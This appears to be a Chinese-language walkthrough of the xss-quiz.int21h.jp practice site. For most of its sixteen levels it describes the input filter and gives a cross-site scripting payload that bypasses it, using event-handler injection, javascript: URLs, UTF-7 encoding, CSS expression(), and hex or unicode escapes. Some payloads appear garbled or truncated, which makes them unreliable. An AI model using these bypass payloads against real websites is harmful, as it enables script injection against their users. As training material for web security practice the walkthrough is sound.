地址:http://xss-quiz.int21h.jp/
1)
"
"
2)
123456" οnfοcus=alert(document.domain) autofocus xx="
3)
参数p1转义了<、>、”,修改参数p2
Japan
4)
修改参数p3
hackme">//
5)
前端做了长度限制,截包修改p1
">//
6)
转义了<、> 没有转义”
123456" οnfοcus=alert(document.domain) autofocus xx="
7)转义了<、>、”
刷入123456发现value值没有双引号包裹。源码如下:
可以通过添加一个新的元素
a οnmοuseοver=alert(document.domain)
输出的源码如下:
8)查看输出在中
javascript:alert(document.domain)
9)首先注意到输出的源码中有charset项,很明显是通过编码格式绕过过滤。
CSDN上有UTF-7的编解码工具” οnmοusemοve=”alert(document.domain)
10)
输入123456″>
输出如下:
”>
可以看到是过滤了domain
a)
然后输入123456">即可
b)使用String.fromCharCode
">
c)javascript 使用btoa和atob来进行Base64转码和解码
">
11)
测试123456″>
发现script被替换为xscript
测试123456″>
发现JS事件被替换为onxxx
测试123456″>
">
12)过滤的正则”s/[\x00-\x20\<\>\”\’]//g;”
单引号 双引号 尖括号都过滤了
`` οnmοuseοver=alert(document.domain)
这个必须是在IE下才能触发。
13)这个是CSS中的XSS,输出环境是在style中
xss:expression(alert(document.domain))
background-image:url(javascript:alert(document.domain))
14)s/(url|script|eval|expression)/xxx/ig;
expression的绕过方式很多
样式表中的/**/会被忽略
样式表中的\
15)
输入可以看到尖括号被转义了,因为输出环境是在JS中,所以可以使用16进制编码
\x3cscript\x3ealert(document.domain)\x3c/script\x3e
发现过滤了\,然后将\替换为\\即可。
\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e
16) “s/\\x/\\\\x/ig;”
这道题只是替换了\x
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e